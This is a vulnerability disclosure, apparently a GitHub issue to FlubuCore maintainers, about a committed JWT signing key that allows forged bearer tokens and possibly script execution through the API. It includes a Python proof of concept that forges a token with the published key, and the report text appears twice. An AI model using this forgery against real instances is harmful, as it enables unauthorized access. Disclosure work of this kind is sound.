Committed JWT key allows API authentication bypass when deployment is skipped
Hello maintainers, could you review this authentication issue?
Summary
src/FlubuCore.WebApi/appsettings.json commits the JWT signing key fasfgvgl#@%VZA5@!EDDA@R$ESF@cdc__das_3. Any network-reachable instance that starts with this configuration and no key override accepts attacker-signed HS256 tokens. An attacker can set the configured issuer and audience and access JWT-protected API endpoints without a valid account or password.
The deployment script replaces the key during a fresh scripted deployment, but the repository does not require that script or reject the committed key at startup. Manual deployments and other launch methods can therefore leave the public key active. The Visual Studio launch profile binds to localhost; this report concerns instances that expose the Web API over a network while retaining the checked-in configuration.
When Scripts exists and script upload remains enabled, the checked-in AllowScriptUpload=true also lets an attacker upload a .cs file. The JWT-protected /api/Scripts/Execute runs a requested Flubu target and does not enforce the Web UI's AllowScriptExecution=false setting. This can execute attacker-controlled code as the Web API process.
Evidence
Proof of concept
This creates a five-minute token and sends a harmless JSON request to a protected endpoint. With the forged token, the action reaches its form-content check and returns 400; without a valid token, it returns 401. The request does not upload or delete files. Use only on an instance you are authorized to assess.
import base64
import hashlib
import hmac
import json
import time
import urllib.error
import urllib.request
import uuid
b64url = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
now = int(time.time())
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"iss": "FlubuCoreWebApi",
"aud": "FlubuCoreConsole",
"sub": "forged-user",
"iat": now,
"nbf": now,
"exp": now + 300,
"jti": str(uuid.uuid4()),
}
body = f"{b64url(json.dumps(header, separators=(',', ':')).encode())}.{b64url(json.dumps(payload, separators=(',', ':')).encode())}"
key = b"fasfgvgl#@%VZA5@!EDDA@R$ESF@cdc__das_3"
signature = b64url(hmac.new(key, body.encode(), hashlib.sha256).digest())
token = f"{body}.{signature}"
request = urllib.request.Request(
"https://<authorized-instance>/api/Packages",
data=b"{}",
headers={
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
},
method="POST",
)
try:
with urllib.request.urlopen(request) as response:
print(response.status)
except urllib.error.HTTPError as error:
print(error.code, error.read().decode())
Remediation
Remove the committed signing key. Require a unique cryptographically secure key from deployment secrets and fail startup if it is missing or matches a known value. Generate replacement keys with a cryptographic random generator, rotate keys on instances that used this value, keep script upload disabled unless needed, and enforce the execution setting on the API route as well as the Web UI.
Related works
Hard-coded JWT signing secrets
- AgileConfig: a hard-coded JWT secret enabled administrator token forgery (CVE-2022-35540).
- Veeam Recovery Orchestrator: a hard-coded JWT secret enabled authentication bypass (CVE-2024-29855).
- GFI Archiver: a hard-coded
ArchiverSpaApi signing key allowed forged access tokens; exploitation required a valid user identifier (CVE-2025-35940, Tenable).
ASP.NET machine-key misuse
- DotNetNuke: unchanged default validation and decryption keys enabled access-control bypass (CVE-2008-6540).
- Microsoft Exchange: fixed ASP.NET machine keys enabled authenticated ViewState forgery and code execution (CVE-2020-0688, ZDI).
- Gladinet CentreStack/Triofox: a hard-coded machine key contributed to ViewState deserialization and remote code execution (CVE-2025-30406).
- Sitecore: deployments reusing a public sample machine key were vulnerable to ViewState deserialization attacks (CVE-2025-53690, Mandiant).
- KnowledgeDeliver: a pre-shared machine key enabled ViewState validation bypass and remote code execution (CVE-2026-5426, Mandiant).
This report is part of my ongoing security research. Please feel free to @mention me with any questions. I would be glad to clarify anything and grateful for the opportunity to make a small contribution to FlubuCore's security.
Committed JWT key allows API authentication bypass when deployment is skipped
Hello maintainers, could you review this authentication issue?
Summary
src/FlubuCore.WebApi/appsettings.jsoncommits the JWT signing keyfasfgvgl#@%VZA5@!EDDA@R$ESF@cdc__das_3. Any network-reachable instance that starts with this configuration and no key override accepts attacker-signed HS256 tokens. An attacker can set the configured issuer and audience and access JWT-protected API endpoints without a valid account or password.The deployment script replaces the key during a fresh scripted deployment, but the repository does not require that script or reject the committed key at startup. Manual deployments and other launch methods can therefore leave the public key active. The Visual Studio launch profile binds to localhost; this report concerns instances that expose the Web API over a network while retaining the checked-in configuration.
When
Scriptsexists and script upload remains enabled, the checked-inAllowScriptUpload=truealso lets an attacker upload a.csfile. The JWT-protected/api/Scripts/Executeruns a requested Flubu target and does not enforce the Web UI'sAllowScriptExecution=falsesetting. This can execute attacker-controlled code as the Web API process.Evidence
appsettings.jsonlines 9–27 and 38–43 sets an empty IP allowlist, enables script upload, and commits the signing key, issuer (FlubuCoreWebApi), audience (FlubuCoreConsole), and five-minute token lifetime.Startup.cslines 31–39 loadsappsettings.jsonand then environment variables. Lines 90–138 use the configured value for HMAC-SHA256 signing and validation. Validation checks signature, issuer, audience, and expiration; it does not look up a user or check revocation.PackagesController.cslines 21–23 protects API operations with JWT bearer authentication.ScriptsController.cslines 31–82 protects script execution with JWT and runs the selected target. Lines 111–150 accept.csuploads whenAllowScriptUploadis enabled. Lines 164–181 pass the selected script and target to the command executor. TheAllowScriptExecutioncheck appears only in the separate Web UI controller.DeployScript.cslines 59–127 rewrites the key in its fresh-deployment branch.DeploymentConfig.jsonlines 2–10 defaults script upload tofalse. The deployment guide documents this flow, but neither the application nor its startup enforces it.new Random()inDeployScript.cslines 190–201; use a cryptographic random generator for signing keys.Proof of concept
This creates a five-minute token and sends a harmless JSON request to a protected endpoint. With the forged token, the action reaches its form-content check and returns
400; without a valid token, it returns401. The request does not upload or delete files. Use only on an instance you are authorized to assess.Remediation
Remove the committed signing key. Require a unique cryptographically secure key from deployment secrets and fail startup if it is missing or matches a known value. Generate replacement keys with a cryptographic random generator, rotate keys on instances that used this value, keep script upload disabled unless needed, and enforce the execution setting on the API route as well as the Web UI.
Related works
Hard-coded JWT signing secrets
ArchiverSpaApisigning key allowed forged access tokens; exploitation required a valid user identifier (CVE-2025-35940, Tenable).ASP.NET machine-key misuse
This report is part of my ongoing security research. Please feel free to @mention me with any questions. I would be glad to clarify anything and grateful for the opportunity to make a small contribution to FlubuCore's security.